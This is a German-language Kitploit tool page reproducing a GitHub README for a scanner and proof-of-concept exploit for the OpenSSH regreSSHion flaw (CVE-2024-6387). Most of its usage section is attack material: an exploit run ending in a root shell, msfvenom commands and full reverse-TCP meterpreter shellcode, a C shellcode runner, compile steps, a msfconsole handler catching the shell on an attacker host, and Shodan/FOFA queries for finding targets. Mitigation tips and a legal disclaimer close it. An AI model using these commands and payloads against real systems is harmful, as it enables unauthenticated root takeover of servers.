Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-6387 — PoC - Schwachstelle für Remote-Codeausführung ohne Authentifizierung im OpenSSH-Server (Scanner und Exploit) | Kitploit
Tools/GitHubGitHub/l0n3m4n/cve-2024-6387
AufklärungSchwachstellenanalyseExploitationShellcodeNetzwerksicherheitPenetrationstestsRed TeamingRemote-Access-ToolPayload-Entwicklung
GitHubl0n3m4n/cve-2024-6387

CVE-2024-6387

PoC - Schwachstelle für Remote-Codeausführung ohne Authentifizierung im OpenSSH-Server (Scanner und Exploit)

113398vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
Teilen

openssh CVE-2024-6387 - PoC

📜 Beschreibung

Hinweis: Dieses Skript ist ein schneller Prototyp eines PoC, erwarten Sie einige Fehler und Bugs. Getestet auf: Kali Linux, ParrotSec, Ubuntu 22.04

Schwachstelle zur entfernten, nicht authentifizierten Codeausführung im OpenSSH-Server

Im OpenSSH-Server (sshd) wurde eine Race-Condition im Signalhandler gefunden, bei der ein Client sich nicht innerhalb von LoginGraceTime Sekunden (standardmäßig 120, bei alten OpenSSH-Versionen 600) authentifiziert, woraufhin sshds SIGALRM-Handler asynchron aufgerufen wird. Dieser Signalhandler ruft jedoch verschiedene Funktionen auf, die nicht async-signal-sicher sind, z. B. syslog().

📁 Inhaltsverzeichnis

  • 📖 Details
  • ⚙️ Verwendung
  • 🔍 Host-Erkennung
  • 🛠️ Abhilfe
  • 💁 Referenzen
  • 📌 Autor
  • 📢 Haftungsausschluss

✍🏻 Details

Die technischen Details finden Sie hier.

Der Fehler, der von Forschern bei Qualys im Mai 2024 entdeckt und unter der Kennung CVE-2024-6387 vergeben wurde, beruht auf einer Race-Condition im Signalhandler von sshd, die es nicht authentifizierten entfernten Angreifern ermöglicht, beliebigen Code als root auszuführen.

"Wenn sich ein Client nicht innerhalb von LoginGraceTime Sekunden (120 standardmäßig) authentifiziert, wird sshds SIGALRM-Handler asynchron aufgerufen und ruft verschiedene Funktionen auf, die nicht async-signal-sicher sind."

"Ein nicht authentifizierter entfernter Angreifer kann diesen Fehler ausnutzen, um beliebigen Code mit Root-Rechten auszuführen."

⚙️ Verwendung

OpenSSH-Server scannen

Voraussetzung: python3 aktuell

root@kitploit:~
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22

 ██████╗ ██████╗ ███████╗███╗   ██╗███████╗███████╗██╗  ██╗
██╔═══██╗██╔══██╗██╔════╝████╗  ██║██╔════╝██╔════╝██║  ██║
██║   ██║██████╔╝█████╗  ██╔██╗ ██║███████╗███████╗███████║
██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║     ███████╗██║ ╚████║███████║███████║██║  ██║
 ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝╚══════╝╚══════╝╚═╝  ╚═╝
   Autor: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo 
    
Schwachstellen ausnutzen...
Versuche Ausnutzung mit glibc-Basis: 0xb7200000
Versuch 0 von 20000
SSH-Version empfangen: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
KEX_INIT empfangen (1024 Bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Ausnutzung erfolgreich..!

~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root) 

Exportieren (csv,txt,json)

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json

Mehrere Ziele

root@kitploit:~
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json

Timeout hinzufügen

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json

Netzwerkbereiche

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json

Benutzerdefinierter Port

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json

Eskalationsprozess

Reverse Shell erhalten

root@kitploit:~
# Generieren eines Shellcodes
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

Benutzerdefiniertes Payload

root@kitploit:~
#include <stdio.h>

// Ein Platzhalter für Ihr benutzerdefiniertes Payload
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    // Shellcode ausführen
    printf("Shellcode wird ausgeführt...\n");
    void (*sc)() = (void(*)())shellcode;
    sc();

    return 0;
}

Tatsächliches Payload

root@kitploit:~
#include <stdio.h>
 

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// Mögliche glibc-Basisadressen (für ASLR-Umgehung)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Shellcode-Platzhalter (durch tatsächlichen Shellcode ersetzen)
unsigned char shellcode[] = "\x90\x90\x90\x90";

Kompilieren und Initiieren des Payloads

root@kitploit:~
# Kompilieren des Payloads
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c 

Ausführen des Payloads

root@kitploit:~
# Sobald Sie eine erfolgreiche Exploit-Nachricht erhalten, startet msfconsole automatisch eine Meterpreter-Sitzung.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22 

Abfangen des Payloads

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"

🔍 Host-Erkennung

  • Hunter: /product.name="OpenSSH"
  • FOFA: app="OpenSSH"
  • SHODAN: product:"OpenSSH"
  • CENSYS: (openssh) and labels=remote-access

🛠️ Abhilfe

  • Patch-Management: Die zeitnahe Anwendung verfügbarer Patches für OpenSSH ist entscheidend, um die Sicherheitslücke zu schließen. Rechtzeitiges Patchen stellt sicher, dass bekannte Exploits nicht gegen Ihre Systeme eingesetzt werden können, wodurch das Angriffsfenster für Angreifer verkleinert wird.
  • Erweiterte Zugriffskontrolle: Die Einschränkung des SSH-Zugriffs durch netzwerkbasierte Kontrollen fügt eine zusätzliche Verteidigungsebene hinzu. Dieser Ansatz minimiert die Gefährdung durch potenzielle Angreifer, indem SSH-Verbindungen nur auf autorisierte Netzwerke oder IP-Adressen beschränkt werden. Die Implementierung von Tools wie Firewall-Regeln oder die Nutzung von VPNs für sicheren Zugriff können diese Einschränkungen effektiv durchsetzen.
  • Netzwerksegmentierung: Die Aufteilung Ihres Netzwerks in Segmente hilft, die Auswirkungen eines möglichen Einbruchs einzudämmen. Durch die Segmentierung kritischer Systeme und sensibler Daten von weniger kritischen Teilen Ihres Netzwerks verringern Sie das Risiko einer lateralen Bewegung durch Angreifer. Diese Segmentierung kann durch strenge Zugriffskontrollen und Überwachung ergänzt werden, um unbefugte Versuche, diese Segmente zu durchbrechen, zu erkennen und darauf zu reagieren.
  • Intrusion-Detection-Systeme (IDS): Die Bereitstellung von IDS oder Intrusion-Prevention-Systemen (IPS) ermöglicht die Echtzeitüberwachung des Netzwerkverkehrs und der Systemprotokolle. Diese Systeme können verdächtige Aktivitäten und potenzielle Exploit-Versuche im Zusammenhang mit der regreSSHion-Schwachstelle erkennen. Durch solche Systeme ausgelöste Warnungen ermöglichen eine schnelle Untersuchung und Abhilfe, bevor erheblicher Schaden entstehen kann.
  • Überwachung auf Exploit-Versuche: Die kontinuierliche Überwachung von Netzwerk- und Systemprotokollen ist entscheidend. Achten Sie auf ungewöhnliche Muster oder Aktivitäten, die auf einen Versuch hindeuten könnten, die OpenSSH-Sicherheitslücke auszunutzen. Dieser proaktive Ansatz hilft, Bedrohungen zu erkennen und darauf zu reagieren, bevor sie Schaden anrichten können.

💁 Referenzen

  • Ursprünglicher Autor: CVE-2024-6387 Scanner
  • Ursprünglicher Autor: CVE-2024-6387 PoC

Weitere Referenzen

  • http://www.openwall.com/lists/oss-security/2024/07/01/12
  • https://access.redhat.com/security/cve/CVE-2024-6387
  • https://bugzilla.redhat.com/show_bug.cgi?id=2294604
  • https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt
  • https://github.com/zgzhang/cve-2024-6387-poc
  • https://ubuntu.com/security/CVE-2024-6387
  • https://ubuntu.com/security/notices/USN-6859-1
  • https://www.suse.com/security/cve/CVE-2024-6387.html
  • https://explore.alas.aws.amazon.com/CVE-2024-6387.html
  • https://archlinux.org/news/the-sshd-service-needs-to-be-restarted-after-upgrading-to-openssh-98p1/
  • https://www.openssh.com/txt/release-9.8
  • https://lists.mindrot.org/pipermail/openssh-unix-announce/2024-July/000158.html
  • https://lists.mindrot.org/pipermail/openssh-unix-dev/2024-July/041431.html
  • https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server
  • https://www.theregister.com/2024/07/01/regresshion_openssh/
  • https://news.ycombinator.com/item?id=40843778

📌 Autor

  • Facebook
  • Twitter (X)
  • Medium
  • Website

📢 Haftungsausschluss

  • Wichtiger Hinweis:
    • Dieses Tool wird ausschließlich für autorisierte Penetrationstests und Red-Teaming-Übungen entwickelt und eingesetzt. Es wurde entwickelt, um Schwachstellen im OpenSSH-Server auf glibc-basierten Linux-Systemen zu identifizieren und auszunutzen. Die unbefugte Nutzung dieses Tools ist strengstens untersagt. Der Eigentümer dieses Tools übernimmt keine Verantwortung für unbefugten Zugriff oder böswillige Nutzung des Tools.
  • Rechtlicher Hinweis:
    • Die unbefugte Nutzung dieses Tools auf Systemen oder Netzwerken ohne ausdrückliche Genehmigung der jeweiligen Eigentümer kann gegen geltende Gesetze und Vorschriften verstoßen. Die Benutzer sind dafür verantwortlich, die Einhaltung der rechtlichen und ethischen Standards für Cybersicherheitstests und -bewertungen sicherzustellen.
Tool herunterladen
  • https://security-tracker.debian.org/tracker/CVE-2024-6387
  • https://github.com/oracle/oracle-linux/issues/149
  • https://github.com/rapier1/hpn-ssh/issues/87
  • https://stackdiary.com/openssh-race-condition-in-sshd-allows-remote-code-execution/
  • https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0010
  • http://www.openwall.com/lists/oss-security/2024/07/01/13
  • https://security.netapp.com/advisory/ntap-20240701-0001/